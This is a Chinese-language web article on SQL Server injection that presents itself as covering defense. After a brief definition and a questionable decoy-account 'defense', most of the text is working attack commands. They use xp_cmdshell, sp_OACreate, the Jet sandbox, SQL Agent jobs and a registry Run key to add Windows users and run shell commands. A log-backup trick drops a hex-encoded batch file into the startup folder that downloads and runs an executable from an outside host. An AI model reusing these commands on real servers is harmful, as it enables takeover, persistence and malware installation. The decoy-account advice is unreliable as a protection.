SQL Server注入大全及防御_技术无忧网 - 技术从此无忧 -- 一站式中文IT技术网站

SQL Server是中小型网站广泛使用的数据库，由于功能强大也滋生了很多安全问题，国内又因为SQL注入攻击的很长一段时间流行，导致对SQL Server的入侵技巧也层出不穷，由于SQL Server支持多语句，相信很多小黑在对SQL Server进去SQL注入的时候很少使用猜解表名之类的方法，而直接转向使用SQL Server的存储过程和函数快速的拿权限，下面我就围绕SQL Server的系统存储过程和函数来介绍这些黑客技巧。

什么是SQL注入?

　　许多网站程序在编写时，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码(一般是在浏览器地址栏进行,通过正常的www端口访问)，根据程序返回的结果，获得某些想得知的数据，这就是所谓的SQL Injection，即SQL注入。

　　SQL注入

　　SQL注入通过网页对网站数据库进行修改。它能够直接在数据库中添加具有管理员权限的用户，从而最终获得系统管理员权限。黑客可以利用获得的管理员权限任意获得网站上的文件或者在网页上加挂木马和各种恶意程序，对网站和访问该网站的网友都带来巨大危害。

　　防御SQL注入有妙法

　　第一步：很多新手从网上下载SQL通用防注入系统的程序，在需要防范注入的页面头部用来防止别人进行手动注入测试。可是如果通过SQL注入分析器就可轻松跳过防注入系统并自动分析其注入点。然后只需要几分钟，你的管理员账号及密码就会被分析出来。

　　第二步：对于注入分析器的防范，笔者通过实验，发现了一种简单有效的防范方法。首先我们要知道SQL注入分析器是如何工作的。在操作过程中，发现软件并不是冲着“admin”管理员账号去的，而是冲着权限(如flag=1)去的。这样一来，无论你的管理员账号怎么变都无法逃过检测。

　　第三步：既然无法逃过检测，那我们就做两个账号，一个是普通的管理员账号，一个是防止注入的账号，为什么这么说呢?笔者想，如果找一个权限最大的账号制造假象，吸引软件的检测，而这个账号里的内容是大于千字以上的中文字符，就会迫使软件对这个账号进行分析的时候进入全负荷状态甚至资源耗尽而死机。下面我们就来修改数据库吧。

　　1.对表结构进行修改。将管理员的账号字段的数据类型进行修改，文本型改成最大字段255(其实也够了，如果还想做得再大点，可以选择备注型)，密码的字段也进行相同设置。

　　2.对表进行修改。设置管理员权限的账号放在ID1，并输入大量中文字符(最好大于100个字)。

　　3.把真正的管理员密码放在ID2后的任何一个位置(如放在ID549上)。

　　我们通过上面的三步完成了对数据库的修改。

　　这时是不是修改结束了呢?其实不然，要明白你做的ID1账号其实也是真正有权限的账号，现在计算机处理速度那么快，要是遇上个一定要将它算出来的软件，这也是不安全的。我想这时大多数人已经想到了办法，对，只要在管理员登录的页面文件中写入字符限制就行了!就算对方使用这个有上千字符的账号密码也会被挡住的，而真正的密码则可以不受限制。　　

　　一、执行系统命令

　　利用存储过程我们可以快速方便的获取一个shell,如执行系统命令，存储扩展调用如下：

　　exec master..xp_cmdshell 'net user ray ray /add'

　　xp_cmdshell是SQL Server自带的系统命令存储过程，默认情况下只有SYSADMIN服务器角色才能执行。

　　利用OLE对象接口，SQL SERVER提供了一些函数访问OLE对象，分别是sp_OACREATE和sp_OAMethod,可以利用他们调用OLE控件，间接获取一个shell。使用SP_OAcreate调用对象wscript。shell赋给变量@shell，然后使用SP_OAMETHOD调用@shell的属性run执行命令。

　　DECLARE @shell INT

　　EXEC SP_OAcreate 'wscript.shell',@shell out

　　EXEC SP_OAMETHOD @shell,'run',null, 'net user ray ray /add'

　　开启access的沙盒模式,在默认情况下Jet数据引擎不支持select shell("net user ray ray /add")这样的SQL语句，但是开启了JET引擎的沙盒模式后就可以执行命令，先利用xp_regwrite存储过程改写注册表，然后利用OpenRowSet访问一个系统本身自带的一个ACCESS数据库文件，再执行运行命令的SQL语句。

　　EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0 \Engines','SandBoxMode','REG_DWORD',0

　　Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user ray ray /add")');

　　除开这些，还可以利用SQL代理执行命令，当然必须先开启SQL代理服务，默认情况下这个服务是关闭的.我们可以先利用xp_servicecontrol开启SQLSERVERAGENT，然后建立个SQL计划任务，然后马上运行这个任务。

　　exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'

　　use msdb exec sp_delete_job null,'x'

　　exec sp_add_job 'x'

　　exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c Dir C:\'

　　exec sp_add_jobserver Null,'x',@@servername exec sp_start_job 'x'

二、写任意文件执行命令

　　利用xp_regwrite写注册表项，直接把要执行的命令写入RUN启动项。

　　EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','shell','REG_SZ','C:\windows\system32\cmd.exe /c net user ray ray /add'

　　备份日志到启动项

　　我们可以开启一个数据库的完全恢复模式，然后新建个表，插入要备份进日志的命令，最后把日志备份成批处理文件到用户启动文件夹，机器重新启动后就会运行这个文件。

　　alter database msdb set RECOVERY FULL--

　　create table cmd (a image)--

　　backup log msdb to disk = 'c:\cmd1' with init--

　　insert into cmd (a) values (0x130A0D0A6563686F2053657420503D6372656174654F626A65637428224D6963726F736F66742E584D4C4854545022293E6B2E7662730D0A6563686F20502E4F70656E2022474554222C22687474703A2F2F7777772E6973746F2E636E2F742E657865222C30203E3E6B2E7662730D0A6563686F20502E53656E6428293A73657420473D6372656174654F626A656374282241444F44422E53747265616D22293E3E6B2E7662730D0A6563686F20472E4D6F64653D333A472E547970653D313A472E4F70656E2829203E3E6B2E76627320200D0A6563686F20472E577269746520502E526573706F6E7365426F64793A472E53617665546F46696C652022742E657865222C32203E3E6B2E7662730D0A6B2E7662730D0A740D0A)--

　　backup log ISTO to disk = 'C:\Documents and Settings\All Users\「开始」菜单\程序\启动\1.bat'--

　　drop table cmd--